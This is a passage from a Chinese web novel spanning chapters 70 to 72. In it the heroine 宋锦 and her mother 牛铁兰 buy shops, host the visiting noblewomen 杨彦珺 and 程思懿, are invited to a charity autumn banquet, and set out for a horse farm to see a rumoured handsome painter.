“是我没想周到,小妹这个年纪也到该学习管理账务的时候了,我回去便送几个铺子过来,就这几个铺子太一般了,赚不了两个钱” 这大方的,宋锦眼睛一亮 牛铁兰凉凉开口:“不用,我只是想着钱放着也放着,给她买个铺子保本,这几个够她闹腾了,别拿那些好东西给她糟蹋” 宋锦不服:“娘你听听你说的这话,我可是你亲闺女,有这么说我的吗?什么糟蹋不糟蹋,我就不能更上一层楼吗?” 牛铁兰淡淡:“在泗安县的时候,你经常往县里走,我给你在那儿开了个小药材铺,你天天往山里窜,不管他的时候人开的好好的,去了两回店就塌了,我够给你面子了” 宋锦撇嘴:“那人卖假药我还不能揍了?我才是为了病人好,那些人一点都不懂我” 牛铁兰又道:“还有个胭脂铺” 宋锦嘀咕:“谁没事干分那么多颜色呀,不都是一个红吗?还有那些簪子,长的短的都是竖的,麻里麻烦” 牛铁兰静静喝茶,不再说话 宋清之默默收回刚才的话,改口:“夫人所言即是,这钱买了店收租也不错,您都看好了吗?看好了,等后面我拍个管事帮你过契,再重新看看装修,这些铺子位置不错,好好弄定然不差” 牛铁兰没有拒绝:“那便麻烦你了,后面铺子是得重新装新一番” 宋清之笑:“夫人见外,您是长辈,有什么需要的吩咐我一声就是了” 牛铁兰不知可否 宋清之又问:“夫人今日看病,身体可比之前好些?” 牛铁兰:“好多了,倒是你,看上去气色不太好” 宋清之:“小风寒,无事,这段时间变天,夫人和小妹也要多加注意” …… 两个人就在那儿寒暄起来 相比起宋锦的厚脸皮反客为主,牛铁兰明显要客气生疏不少,平日和兄弟几人很少接触交流,就应着面子功夫,全靠宋锦作为维系 不过这般也够了,本就是无亲无故的陌生人 他们在这边茶楼歇坐一会儿,然后启程回宋府 看了一天铺子,牛铁兰也有些疲乏了,她靠在马车上,掀着帘子看向车外 宋锦翻了个大大的白眼:“娘你别看了,人就不在这” 牛铁兰一僵,又恼:“我就看看外面还要你管?” 宋锦心里门清她老娘想看什么,但是啊,她打了个大大的哈欠:“马上不是赛马月吗?那人被邀去马场画马去了” 牛铁兰心情复杂,回头看着她和那人相似的眸子,阴阳怪气道:“你知道得倒多” 宋锦嘴角一抽:“……我还知道更多,娘你要听吗?” 牛铁兰冷笑一声,靠在马车上闭眼 不听不听,王八念经,这小王八蛋 宋锦耸了耸肩,眼中狡黠一闪而过 这可不能怪她不说哈,是她老娘自己不听的 去马场看赛马什么的 没意思,一点意思都没有咧 …… 对面,宋清之听着母女俩语焉不详的话,垂下眼皮遮住眼底的沉思和忧虑 这让他想到那日偶遇到的曲姓男子,又想到了至今生死不明的爹 他在心中轻轻叹气 爹你再不回来,媳妇儿就要被人抢走了啊 虽然牛铁兰说过她和宋商没关系,但是那么大个一模一样的闺女摆在那儿,他总觉得,就是现在没关系,以后也能有关系啊 唉,爹你到底在哪儿呢 宋清之忧愁 马车载着三个心思便这般慢慢悠悠回到了宋府 这个时间点,她们换洗一番,然后吃饭刚刚合适,宋锦和牛铁兰回到小院正准备让人备水,就对上一脸严肃的郑女官 母女俩步子一顿,非常默契的,都很想调头离开 但是只能想想,好歹是女官,要给人面子 牛铁兰上前:“郑女官过来有何事?” 几个女官说是过来教习的,但是除了中秋前两日,后面她们都没怎么过来过,多是教着几个丫鬟 今日过来,她确实也有事 郑女官递过来一张帖子:“礼部尚书之女杨彦珺小姐今日派人递了帖子过来,明日上门拜访” 宋锦懵:“她来干嘛?我们和她又不熟” 郑女官一言难尽:“正是不熟才要走访,多走动着就熟悉了。郡主来都城多日,尚且一家贵女都不认识,此次正是好机会。杨小姐在都城人脉颇广,由她带路,郡主能更快融入贵女圈子” 宋锦嘀咕:“我又不稀罕” 她迟早都要走的 郑女官就当没听到,继续:“宴请客人是大事,其中规矩极多,夫人和小姐需要学一学,刚好现在有时间,我们便开始吧” 母女俩:…… 恶客 绝对是恶客【你现在阅读的是 】 70-80 第71章 小女无礼 自从宋商失踪后,宋家可以说门可罗雀 每日马车来去,全都是家里几个主子,外人也就一个经常被蹭车送人回家的齐铮 这日据说有客上门拜访 虽说访客是当年和他们大少爷定亲又悔婚、这些时日因为和宣平侯闹和离闹得沸沸扬扬的礼部尚书之女 一个个小厮们也打起精神,把门前扫了又扫,拖了又拖,再换了对石狮子,干净得门口连一点灰尘也没有 门口守着的小厮们也跟 有什么喜事似的,红光满面,翘首以待 “来了来了,快去通知小姐” “让里面的丫鬟小厮都注意些” 远远地看着那马车过来,眼尖的小厮便认出了那就是今日的贵客,一个个快速行动起来 喊人的喊人,上前迎接的迎接 “真稀奇” 马车上,杨彦珺撩开车帘,看着前面的焕然一新的宋府,还有那些守门小厮脸上的喜意,啧了一声,眼中带着不知道是嘲讽还是怀念 “我上次过来,可是被拦在门口的” 那时候的她年轻气盛,既看不惯宋行之那副风流公子哥的模样,更对宋商的名声心有忌惮,虽然定亲也不过是父母之命 后面碰上当时的宣平侯世子,被他金玉外表花言巧语所惑,现在也付出代价了 只能说姜还是老的辣,她爹当初应下宋家的提亲,并不是如她所想的那般被权势所迫 不过现在说这些也没什么意思了 她笑眯眯张开手:“阿梨,快过来姨姨抱抱” 对面粉雕玉琢的小姑娘跑了过来,把鞋一拖,利落地爬到她的膝盖上坐下,晃着脚丫子 程思懿警告:“阿梨” 小姑娘立马瘪起了嘴,收着两只晃着的脚,正要下去穿鞋 杨彦珺把阿梨抱住,看着程思懿的目光带着不赞同:“阿梨还小呢,一一你别管那么严,小姑娘这样多好啊” 三岁的小阿梨知道姨姨在替自己说话,跟着点着脑袋,肉嘟嘟的脸上写满了赞同,奶声奶气 “就是就是,阿梨还小呢” 程思懿没眼看,冲着杨彦珺没好气:“我看你才还小,你我三岁那会儿” “百家姓,三字经背得滚瓜乱流,诗书经史也略知一二”杨彦珺晃着脑袋接话,随后叹气 “一一啊,你怎么跟我娘一个样了,你那会儿还不是经常哭嫌弃学得太多了?” 程思懿:“那时候年纪小不懂事” 杨彦珺抱紧阿梨,摇着脑袋:“不听不听,我现在也还小呢” 程思懿哭笑不得,再看看跟着做鬼脸的女儿,叹了叹气 “随你,以后把这丫头惯坏了,你可得负责养” 杨彦珺喜滋滋:“巴不得,我们阿梨啊,以后姨姨给你准备厚厚的嫁妆” 程思懿一顿:“你那些嫁妆” 杨彦珺神色淡了几分,摇头:“能拿回来的都拿回来了,就这样吧” 程思懿巴不得她早日脱离苦海,也没有多劝:“及时止损吧,不提这些了,马车马上到了,准备下车” 杨彦珺点了点头,把阿梨放下来,给她理着头发衣服 她们小阿梨在自家人面前无所谓,在外面那还是得漂漂亮亮的 若是她的果果还在的话 杨彦珺眸光黯了几分,又很快收拾好,拉着小阿梨小心朝着下去走去 两个人都是世家贵女,又是已经成婚的夫人,各种仪态装扮都不是未成婚的小姑娘可比的,从头到脚恰到好处的首饰,尽显华贵精致 她们出门也不会像宋锦那般说走就走,身边带着两个大丫鬟,身后跟着护卫,一群人前后站着,阵仗很不一般 当然,护卫们不会和她们一起去后院,被安排到外院等待 两个人就这样牵着个娃,带着丫鬟往里面走去 到半途的时候,宋锦她们也接到通知出来了 有郑女官在,母女俩打扮也很仔细 穿的自然不能过于华贵,那般太刻意反而落了下风,就简简单单衣裙珠钗,在精不在多 比如说牛铁兰脖间的深海粉珠,一颗颗饱满圆润,肉眼看去便知价值不菲 又比如说宋锦脑袋上的点翠凰鸟珠钗,还有手腕上简洁的黑金相间的玳瑁镶金对镯 杨彦珺和程思懿不着痕迹地对视一眼,又挪开了目光,非常默契地想到 宋家家底确实非同寻常 据说以前征战的时候,宋商是智囊,带着人马一路从北边打到永安城,中间不知道抄了多久危害百姓的世家,分给百姓将士,就这样一路聚集人马 后面建朝后就不说了,那些世家大族不知道被抄了多少,其中的财物,虽然说大部分都上交国库,但是这东西能说得准? 再有宋家老五从商,年纪轻轻就坐拥偌大家产,金银财宝数之不尽,家底堪比第二个国库 就看如今的宋锦母女俩,那身上闪着的都是金光 据有心人统计,两人这段时间出门,所穿的衣服首饰没有一件是重复的 宋家之富有,果非一般人家能及 只不过以往有宋首辅在,其他人不敢觊觎 现在宋首辅生死未知,失去最大靠山的宋家满怀金银,占据永安城最好位置,身怀各种财宝…… 便成了香饽饽 日后会遇到什么都不好说 光看这次宋家几子中最有出息的宋慎之就知道了 那些人想尽办法,也不会想宋家再出一个宋商一般的人物 不过谁又说得准呢? 杨彦珺在心里叹息,面上却不显,她上前一步行礼:“参见郡主殿下” 就像现在,面前这位刚回来时候,在都城人眼中的外室女、奸生子,短短时日,便一跃成了高高在上的郡主 代表着皇家身份 便是她以往侯夫人时候都要行礼,更别说现在只是普普通通杨家女了 她打量着宋锦,宋锦也在看着她 上次见到杨彦珺还是在中秋宴上,那时候她又是尚书之女又是侯夫人,身份尊贵不用多说 不过到底婚姻不幸,眉间带着些心事,后面又一通打闹 宋锦这些天出门在外,听到了不少言语杨彦珺的流言 有说她是毒妇,谋杀亲夫;有说她善妒,容不下她人;更有说她母鸡不下蛋,活该被休 无人在意宣平侯花言巧语在前,寡廉鲜耻在后 宋锦看着杨彦珺略带憔悴,但是依旧坚定的眉眼,若有所思:“听说你合离了?成功没?” 杨彦珺:…… 这人可真不会说话 牛铁兰站在旁边,伸手拧了拧她的腰,给了她一个警告的眼神,然后温温和和对着杨彦珺和程思懿道 “小女年幼性子直接,杨姑娘和程学正别和她一般见识” 两人:…… 好一个年幼,她们真计较倒是她们的不是了 不过宋锦确实比她们小了近十岁,在这个十五六岁就能当妈的时代,她们也可以算是两辈人了 牛铁兰又笑了笑,然后蹲下身,伸手摸了摸只大腿高的小阿梨,神情温柔 “好乖的小囡囡,你叫什么名字啊” 小阿梨呆呆地看着牛铁兰,肉嘟嘟的脸蛋突然红了起来,拉着她的衣袖,奶声奶气 “仙,仙女姐姐” 这么温柔漂亮的人,一定是仙女 牛铁兰扑哧一下笑了出来,抿嘴笑:“我可不是姐姐小囡囡” 小阿梨脸更红了,扭捏下就要往牛铁兰怀里钻去 宋锦眼疾手快,一把拉住了她,眯着眼睛就把人拎了起来,恶狠狠 “干什么小崽子,这是我娘,你要抱找自己娘去” 这凶神恶煞的模样 小阿梨眼睛一红,就要哭了出来 牛铁兰啪一下拍开宋锦的手,把还冒着奶香气的小崽子抱进怀里,熟稔地拍着她的后背,嘴里发出轻柔的哄声,然后凉凉地瞥着宋锦 “我看你是越活越过去了” 宋锦瞪着双眼,看着那一下子就被哄好,然后往自家老娘身上贴的小崽子,转过头看着孩子妈咬牙切齿 “你看看你家兔崽子,你不管管?” 程思懿一时不知道是该把自家孩子抱回来,还是该无奈面前这人都比她们高大半个脑袋了,还跟一个小孩子抢人 但是到底是在别人家里,两边也没那么熟悉,她轻声:“阿梨” 小阿梨两只肉肉的胳膊搂紧了牛铁兰,听不到听不到,她喜欢这个香香的姐姐 牛铁兰身形单薄,三岁的孩子已经不算轻了,抱着人的时候,肩膀都有一些紧绷,仿佛随时要被压垮一般 不过她不在意,她这段时间身体已经好很多了,气力也一点点上来,不说很远,院子里这点距离没问题 她轻笑:“让两位见笑了,院里备了些席面,我们这就过去吧” 程思懿:“孩子重,夫人放她下来自己走吧” 宋锦非常赞同,就是就是,这么胖个小兔崽子,怎么好意思让她娘抱的 牛铁兰:“无事,一会儿就到了,两位跟我来吧” 她轻盈转身,步伐轻稳,裙摆轻摇,光看背影都霎是好看 而旁边的宋锦就要高大许多,她压着腰背,磨着牙,在旁边气呼呼重重抬脚,又轻飘飘无声落地,莫名的像一只偷蜂的熊 “……” 杨彦珺轻轻撞了撞她,眼神中带着调侃 瞅瞅,瞅瞅你闺女能干的,抢赢了这位都城新晋一霸 程思懿无声叹气 算了,旁边这位也没好到哪儿去 她摇摇头,转身不急不慢地跟上牛铁兰母女 一行人绕着木廊缓缓朝着内院走去 花园中,郑女官她们带着小丫鬟们早已准备好了席面,席中茶水果糕无一不是最顶尖的种类 杨彦珺和程思懿一眼便看出其中有不少皇室贡品水果,还有那茶叶,不会便是那二两黄金一两茶的贡茶吧? 这茶长在高山之巅,清神醒脑、名目养神,每年科考前后都能卖出天价,但依旧无数富商世家争相购买,就为了让家里孩子在科考时候精神更好 现在就这样随意地放在这? 暴遣天物啊,喝得明白吗?就这样喝 杨彦珺和程思懿走近,就这样眼睁睁看着宋锦大步过去,端起一旁的大碗喝了大口已经置好的凉茶,心里有些心疼 茶不是这样喝的啊 但是宋锦才管那么多呢,她就是觉得这茶叶好喝,用井水泡了放凉之后甜丝丝的,又不腻,这段时间经常喝 她自觉她现在还是很讲究了,喝得慢悠悠,喝完还拿手绢意思意思擦擦嘴角 “这水是昨晚泡的,放冰窖里冻了一夜,很是凉爽,不知你们能不能喝,不能喝的话这边有刚沏的热茶” “能喝,怎么不能喝”杨彦珺都快心疼死了,好好的茶叶被这般糟蹋,她扯着假笑 “刚好今日还有些热,麻烦给我和小一来两杯” 热茶虽好,但是自家偶尔也能尝,凉茶,没弄过舍不得,她今个倒是要好好尝尝 宋锦:“不麻烦,你们快坐吧,对了,把你们崽子自己抱着坐,多大个人别把我娘累到了” 程思懿:“……阿梨” 小阿梨被抱了一路了,这会儿也心满意足了,她拿着手绢给牛铁兰轻轻擦擦汗,然后红着小脸跑回去,抱住她娘的腿,很是害羞 宋锦撇嘴:“现在知道不好意思了,早干嘛去了?” 牛铁兰没好气:“倒你的茶” 多大个人了,跟个奶娃娃计较她还真好意思 宋锦轻哼,拿着一旁的杯子哐哐就是倒水 由此可见,昨日郑女官的临时课是没什么效果的 眼看着她的魔爪伸向茶盒打算重新泡茶,杨彦珺实在忍不住心疼,按住她的手,忍不住抱怨 “我来吧,你这泡的什么茶啊,浪费好东西” 宋锦嘀咕:“什么浪费不浪费,这玩意儿不就是拿来喝的?瞎讲究” 杨彦珺瞪她:“什么瞎讲究?不同的泡法出来的味道都不一样,就你这泡,十之八九的味道都被压下去了” 宋锦:“啧,一二和□□不都是喝?” 杨彦珺:“……对牛弹琴,你不许动,我自己来” 宋锦才不会没事抢活呢,她乐得悠闲,走过去坐到牛铁兰旁边,把她和那边蠢蠢欲动的兔崽子隔开,眼神危险 ‘再过来小心我揍你’ 小阿梨瘪嘴,把脑袋埋进阿娘怀里藏好,这样就不会被‘看’到了 程思懿拍拍她的后背,轻声:“阿梨失礼了,望郡主和夫人莫怪。本来不打算带她来的,但她年纪小缠人,在家哭闹,我实在不忍心” 牛铁兰含笑:“小孩子活泼些才可爱,程学正对她要求太高了” 程思懿笑笑:“三岁也不小了,可以开始学诗书绘画了” 宋锦听着,对小崽子的嫌弃也转为了同情,小声嘀咕:“虐待儿童啊” 他们那会儿,可不兴读诗书哈,这玩意儿又不经用,念来念去就跟和尚念经似的,有什么用? 牛铁兰对着程思懿点了点头,带这些感叹:“三岁确实也可以学了,金金三岁那会儿,我生了场大病,一直没什么精力管她,她便一直在乡下野着” 所以这破孩子长现在这样跟她一点儿关系都没有 真的 程思懿失笑:“夫人一个人带大孩子好生厉害,我以前还不觉,现在当娘了才知道其中的难,又要看着生活起居,又不能放下诗书文学,既不能过于放纵害他们变坏,又不能过于严苛缺了感情” “还要小心风寒疫病”杨彦珺在一边轻声补充,抬眸看向一旁的小阿梨和宋锦,目光都带着隐隐艳羡 “还是一一和夫人运气好,孩子从小身体好,反正我看啊,孩子千好万好,不如身体好” 她的孩子们,便是一个个因病不在的 她来之前,郑女官也提过这些了 牛铁兰为人母,自然懂这种痛,她安慰道:“许是缘分未到,杨姑娘还年轻,你现在啊,就是该吃吃该小小,现在把身体养好了,以后都会有的” 杨彦珺苦笑:“还会有吗?” 牛铁兰:“自然,你才二十四五,我在乡下的时候,还见过四五十岁的老妪生还孩的,那孩子可健康了,整日在学堂捣蛋,隔几天就得挨打,嚎得整个镇都能听到” 杨彦珺喃喃:“听着就很精神” 牛铁兰端过一旁的腌蜜果递了过去,温声细语:“尝一尝,很甜的” 她懂她失去孩子的痛,也懂那种被心爱之人欺骗的苦,看着杨彦珺的目光也多了些怜爱 多可怜的小姑娘啊,和花儿一样的年纪,不比她家金金大多少 她突然就觉得,像她闺女这般不懂情爱无法无天也没什么了,起码不会被这些所伤 牛铁兰笑得很是温柔 杨彦珺想到了自己早早去世的亲娘,虽然依旧记不清她的面容了,但她娘也是这般的温柔 她擦了擦有些湿润的眼角,捻捻起一颗蜜饯放进嘴里,过人很甜,却不腻人,带着些青梅的清爽 她热络了起来:“夫人叫我珺珺吧,我娘以前在的时候就喜欢这么叫我” 牛铁兰:“好啊,你们也别叫我夫人,就叫我兰姨吧” 杨彦珺:“好啊,兰姐,你真像我娘” …… 好一个现场给自己升辈 宋锦坐在一边,现在不止警惕那边的奶娃子了,还要注意杨彦珺这明显‘不怀好意’的人 宋锦郁闷死了,很想赶人,但是她娘在这里坐着 她开口肯定要挨揍,只得死死盯着三个‘恶客’,用眼神示意她们自觉点 但是效果为零 母女俩坐一起,明眼人都看得出其中做主的是牛铁兰 她性子温和,说话温温柔柔,见识也多,对事情有自己的见解,和她说话很是舒服 还有那么一堆好吃的好喝的 杨彦珺才不管宋锦呢,亲热地坐在牛铁兰身侧,和她说着村镇里的趣事 人不管在村子还是都城,都是人,虽然被明面上分了雅俗,但内里趣事还是差不多 牛铁兰平日也少和这些年轻姑娘说话,这一谈也来了兴趣 几个人相谈甚欢 宋锦忍了又忍,最后忍无可忍,直接把那快靠在牛铁兰身上的杨彦珺推开,再拎起坐在她怀里的小崽子,皮笑肉不笑 “说了半天,你们今日过来到底有何事” 牛铁兰瞥了过来 宋锦才不管,她被抢了一天的娘,都快气炸了好吗? 她凶巴巴气:“你不许说话” 牛铁兰:…… 虽然有些扫兴,但是确实也不早了 杨彦珺和程思懿是午间 饭点过后来的,现在太阳也都西落,马上到晚饭时间了 杨彦珺没和她斗嘴,抿了抿自己泡的热茶,笑道 “兰姐和金金还记得之前提到过的迎秋宴吗?” 那日中秋宴上,她让宋清之和她说宣平侯私生子的事,就是用带她们去迎秋宴作为交换 应该不是什么普通宴会 杨彦珺笑,眉眼间带上几分傲意:“迎秋宴乃我组织的盛宴,届时都城贵女大半皆来,大家一起游玩,也为都城孤儿组织募捐准备冬日棉被,乃是都城女眷间三大会之一” 宋锦懂了,原来是慈善会啊,她苦恼地转头:“娘,可是我们才买了铺子,现在没钱了哎” 牛铁兰凉凉:“把你卖了就有钱了” 切 卖惨不成功,宋锦又转回脑袋,撇着嘴不情不愿地应下 “行吧,我们到时候会去的” 这不情不愿的,不知道还以为是她们逼她去呢,多少人想去都去不了 杨彦珺有些憋屈,还是耐心给她解释道:“不只是钱的事,钱也不是随便捐的,每人会准备些东西进行拍卖,可以拍别人的,也可以自己买回来。你和兰姐若要参加,也需准备些手绢香囊刺绣首饰字画,不说亲手做,也得沾个手” 捐钱显财力是小事,显示技艺更是大事 宋锦:“……好麻烦” 没一样是她会的 牛铁兰倒是觉得有意思,她应下:“迎秋宴还有多久?” 杨彦珺:“倒是不定时,会看看天气,不过一般都在赛马后,重阳后两日” 牛铁兰若有所思 这样的话,倒是和她治病的时间相近,就不知道能不能去了 牛铁兰眼中闪过怅然,点点头:“好,我们知道了,到时候能去的话,我定然带她前去” 杨彦珺:“夫人到时候有事?” 牛铁兰轻叹:“那几日许要就医” 杨彦珺不解:“还有半月时间,莫非是什么江湖神医难等?非要那几日?” 牛铁兰摇摇头没说话 宋锦的脸色也一点点淡了下去,没有闹腾的心情了,她道 “我们到时候有时间一定去,去不了钱也会到,你放心吧” 杨彦珺:…… 虽然宴会事关钱,但也不用说得这么直白啊 不过见母女俩神色都淡了下去,杨彦珺自知不适合再继续待下去,她道 “我和一一就先恭迎郡主和夫人到来,现在天色不早,我们就先回去了,日后再来拜访” …… 两个人就这样离开 离开前,杨彦珺还很不见外地把剩下的茶包带走,反正留下来也是被牛饮糟蹋 宋锦趴在小桌上,无语:“可真不拿自己当外人啊” 牛铁兰抿茶:“像你” 一样是直爽性子,只不过一个更为克制有礼,学识渊博,一个就 算了,自己养的闺女,怪不得了别人 宋锦不太乐意:“才不像呢,我才没那么傻” 牛铁兰知道她说的是和离的事,本来是很放心的,突然又想起了什么,问道 “这几日怎么没见到歧王?你们不是约好了要比剑吗?” 宋锦立马垮了脸,阴阳怪气道:“人家可是皇子王孙,是高高在上的王爷,人家愿意约就约,不愿意,我们这些平民百姓能说一句话吗?” 牛铁兰了然:“你们吵架了?上次不是还好好的,约着去看宋将军?” 宋锦提起就更气了,那日回来太气了,气得她都没说这事,现在一骨碌里外一通说,她那口气总算疏了出去 她抱怨:“娘,你说那人是不是特别小气?一个大男人,还混江湖呢,小气吧啦的” 牛铁兰静静喝着茶水,等到喝完了,轻轻放下,缓缓起身 “我去如厕,你自己玩” 这些小孩子过家家的事,听着都烦 她本来还以为宋慎人这个将军会是靠谱的,现在看来可能还不如宋行之那个浪荡子 宋锦:“……你让我说的,你还不听” 说着,她幽怨地重新趴下,倒了茶水往嘴里一咕 呸 烫死她了 都怪那破王爷 第72章 俊俏画师 “你们怎么又来了啊” 第二日大清早,宋锦被宋府守卫喊了出来。她看着门外乐盈盈的人,脸上写满了警惕和不欢迎,发出致命三问 “你嫁妆收拾好了?和离的事搞定了?” “还有你,不是学正吗?不上课了?” “你们没有别的朋友了吗?我和你们不熟” 两人:…… 这小姑娘说话可真不好听啊 杨彦珺笑吟吟:“确实和你不熟,我们找兰姐啊,她起了吗?” 宋锦想也不想:“没起没时间,她不舒服,你们自己玩去吧” 杨彦珺:“这样啊,既然兰姐身体不适,我们就更要进去拜访一下” 宋锦抓了抓头发,看着她就很烦,这些人一个两个的能不能讲点道理啊 她和她娘相处时间都不够呢 见她如此,杨彦珺噗嗤一下笑了出声:“你明年都及芨了,怎么还跟个孩子似的占娘啊,又没人和你抢” 那可说不准,再说了,宋锦眼眸黯了黯,这些人懂个屁啊 她想到过几日的练蛊,就没什么劲了,有气无力道:“有事说事,没事再见” 杨彦珺嘴角一抽:“真是个不讨喜的丫头,不逗你了,说正经的,我们要去城东门外马场,听说那边近日多了个俊俏画师,我们去凑个热闹” 宋锦心中升起不详预感:“什么俊俏画师?” “马上不是赛马节了吗?马场多了很多马,要记录在册,那画师就是负责录马的,据说画得一手好画,栩栩如生,甚至有人百两求画。”杨彦珺说着,挤眉弄眼,压着声音 “当然,最主要还是俊啊,据说一点不输歧王殿下,你见过殿下应该知道吧?这两日不少城里姑娘去那边看,指不定就把人带回府” 宋锦心中说不出的烦躁,磨牙:“这样的吗?招蜂引蝶,一听不是什么好东西” 杨彦珺笑眯眯:“那可不重要,走,小妹妹,姐姐带你去涨涨世面” 宋锦冷笑一声,本想让她想去就自己去的,又想到了她娘 她脸色变幻起来,好一会儿才下定了决心,咬着牙从牙缝里传出声音 “等我” 说着她急急匆匆地就跑了回去 杨彦珺站在原地,抱着手,用肩膀撞了撞旁边的程思懿,揶揄:“你看吧,我就说小姑娘哪有挡得住美□□惑的” 程思懿无语:“别带坏人小姑娘” 这人当初就是被宣平侯的脸给迷惑,不然也不至于婚前初见端倪,最后还是义无反顾地扎了进去 事实证明,浪子回头确实有,但能碰上就相当于祖坟冒青烟,一般人没这个运气 杨彦珺才从坑里出来,自然不打算再往坑里钻,只是笑眯眯道:“我听说,东门那个马场被陛下送给歧王了,这几日他经常过去” 两人从小一起长大,对对方都非常了解,杨彦珺一开口,程思懿就懂了,她皱起眉头 杨彦珺笑眯眯又道:“歧王殿下回都城,你见过他和谁家女子走得近?” 程思懿心情沉重起来:“那也不至于” 杨彦珺挑眉:“怎么,你那边,有别的想法?” 歧王刚回来那会儿,多少人恨不得自戳双目,想不认这事,自然没人把闺女往跟前送。 现在大半年过去了,事已定居,陛下的态度也过于明显,很多人家都动了心思 杨彦珺也不确定程思懿那边有没有这个想法,但是不管有没有,她觉得都悬 程思懿没有立刻回答,她蹙着眉头,像是在做什么艰难抉择一般 杨彦珺有些不安,怀疑自己是不是漏了什么细节 程思懿缓缓开口:“两根朽木,会生出花吗?” 杨彦珺:…… 骂人果然还是得她好姐妹来啊 但是,杨彦珺还是认认真真思考一番:“应该,会长木耳?” 程思懿沉痛:“有 毒” 杨彦珺耸肩:“晒一晒,泡一泡,不就好了?又能放又能吃,能炒能拌能煮能炖” 程思懿若有所思:“重新培养?” 杨彦珺搂住她的肩膀,笑:“行了,想那么多干什么?这事我们可掺和不了,反正也没事干,看个热闹就差不多了” 程思懿不想说话,这事哪有这么简单啊,事关江山社稷,哪能真就眼睁睁看着? 前朝溃散,可不就是因为一开始朝臣不作为,眼睁睁看着荒帝一日比一日荒乱? 再说了,程思懿瞥了瞥自己多年好友,心道自己可不是没事做,只不过是为了陪她 杨彦珺展颜一笑,挽着好友的手,亲亲热热地站在那儿哄人,就像多年以前未婚时的模样 她这些年过得一塌糊涂,丢了孩子丢了婚姻,但是万幸,她没有丢了最好的朋友 …… 两人在门口等了一会儿 宋锦和牛铁兰带着小眉小耳两个丫鬟走了出来 杨彦珺立马放开自己好友,亲亲热热凑到牛铁兰面前,热络:“一日未见,兰姐真是容光焕发,容颜更上一层楼” 牛铁兰乐:“我看啊,你这嘴皮才是更上一层楼” 杨彦珺还想说什么呢 宋锦已经挤了过来,一点点把这烦人的想和她抢娘的人推开,皮笑肉不笑道 “不是要去俊画师吗?磨磨蹭蹭的,小心到时候看不到人。娘,你一会儿可要帮她掌掌眼,毕竟她的眼光,啧” 这一个啧字,伤害不大,但是侮辱性极强 杨彦珺又恼又急,怕牛铁兰觉得自己过于‘放荡’,刚想解释自己开玩笑的 牛铁兰轻柔说道:“确实可以看看,人总是要往前看的” 杨彦珺眼睛瞬间一热 她不是不知道这段时间外面各种乱七八糟的流言,她也不是强大到能完全无动于衷,她只是没得选 她强装无事,让自己看起来过得没那么惨,也想证明自己选择和离没有错 在大部分人眼中,她一个侯夫人,为了庶子这种‘小事’和离很无理取闹,但是她这些年已经很忍耐了,她甚至能装作不知道那人在外的事,唯独孩子这事 唯独这事,她忍不下去也不想忍了 杨彦珺忍不住问:“夫人觉得,我和离是对是错?” 牛铁兰只道:“你开心吗?” 杨彦珺狠狠点头 开心,怎么能不开心呢,她这些年难得这么开心 她虽然不是侯夫人了,嫁妆也贴了一半,但是够她生活绰绰有余。她不用再操心侯府那一堆烂摊子,更不用面对那该死的老婆婆 她可以一觉睡到大中午,能跑城外玩,能去看俏男子,怎么会不开心呢? 牛铁兰柔着眉眼,像是看自家孩子一般,轻声:“既然开心,那还有什么好怀疑的?人就活一辈子,不图开心,难不成还图吃苦?傻姑娘,既然决定了就别想了,走吧,我们去看赛马。郊外宽阔,多走走心情也好些” 杨彦珺拉着她的手,低声:“我娘走得早,我也记不太清她长什么了,但我想,她要是还在的话,应该就是兰姐你这样子” 她爹对她也好,但是到底是男人,很多事情想不到也不能理解,家里又是后娘当家 她和离回家虽无大事,但也受了些委屈,每当这个时候,她就会想,要是她娘还在就好了 她娘定然会知道她的苦,会安慰她的累 看着她这模样,牛铁兰心软几分,伸手轻轻拍拍她的脑袋:“往前走,日子总会越来越好的” 杨彦珺:“兰姐你真好” …… 宋锦瞅着她俩那‘母女’情深的模样,站在一旁翻着白眼,有些阴阳怪气地无声重复 你真好 哎,你真好 好好好,你们都好,就她不好 她倒是看看一会儿她们还怎么好起来 宋锦轻哼一声,双手抱在胸前,凤眸微抬,眼中光芒闪现 一看就打着什么坏主意 程思懿站在一旁不着痕迹地打量宋锦,心里思索着优缺点 怎么想怎么看,就两个字 危矣 她自认打量得小心,但放宋锦这就跟点了烛火似的,亮得很 宋正大光明地看了回去,眸光一转:“你不去国子监教学?” 程思懿有些许不自在:“史书众多,每日上课也不过照本宣科,不如布置任务下去,几日汇读便是” 宋锦眼珠子一转:“作业多吗?” 程思懿含蓄:“还行” 宋锦瞬间变脸,痛心疾首:“做老师的不能躲懒,你不多布置点作业,歧王如何进步?你对得起陛下对你的信任吗?” 程思懿:…… 宋锦暗戳戳:“记得给歧王多点作业,懂吗?” 程思懿:“你俩闹矛盾了?” 这人上次还跑到国子监‘捞人’呢,现在就直接把人往知识的海洋溺,变脸也忒快了一点 不过,这也说明两人的关系确实好,不然她也不能这么提 若是平日,宋锦倒是不介意承认好朋友关系,现在,她立马反驳:“怎么会?谁敢和岐王殿下闹矛盾啊?人家可是王爷啊啊” 程思懿:…… 算了,她确实不懂小年轻 ** 永安城东门出去约十里的地方便是马场,这里作为培育场有些小,养不出特别厉害的宝马,所以养得多是成马 每一匹都是从漠北送过来的上好的宝马,价值低一点的五六百两,最高的甚至能上万两,整个马场价值不菲 而在这每年一度的赛马季,也是马场最忙的时候,收马卖马赛马…… 赛马日将至,这边日日都有人在这训练记录,不限制外人进出,便有很多人过来凑热闹 宋锦他们过来的时候,马场陆陆续续已经挤满了人,有坐在一边休息的,也有站在一边呐喊的 她们有护卫开路,老远就有人看着陆续让开,一群人顺顺利利进了最里面的位置 马场里面,黑色宝马踏着黄烟的一路狂奔,利落跨过高矮的障碍栏杆,像是闪电一般在赛道上奔驰,很是夺目 “那是奔雷,五年前的赛马冠军,创了最高的记录,也是这些年以来最贵的赛马,不知道今年会不会有更贵的” 杨彦珺在一旁介绍 宋锦好奇:“有多贵?” 杨彦珺比了两个手指:“黄金二百两” 宋锦:“……可真有钱” 杨彦珺也跟着感叹:“是啊,陛下对歧王可真大方,马场送他就算了,连奔雷也舍了” 宋锦眯起眼睛:“什么意思?这马场是歧王的?” 杨彦珺笑眯眯:“是啊,就是宋将军回来那日许的,咱们歧王殿下,绝对是现如今都城身价最高的年轻男子了” 宋锦嗤笑:“你就是吹他牛皮,他也不会给你钱,你还不如说宋老五,他人傻钱多指不定还能给你送些钱” 杨彦珺:“……” 她说的是身价不是身家 宋老五自然有钱,但是他作为商人,从不了政,便是上有宋首辅,下有四个出息的哥哥,在闺女眼中也不是什么优秀良人 士农工商,权力永远在最前面 歧王现如今,便是都城未婚男子中,又有钱又有权的代表 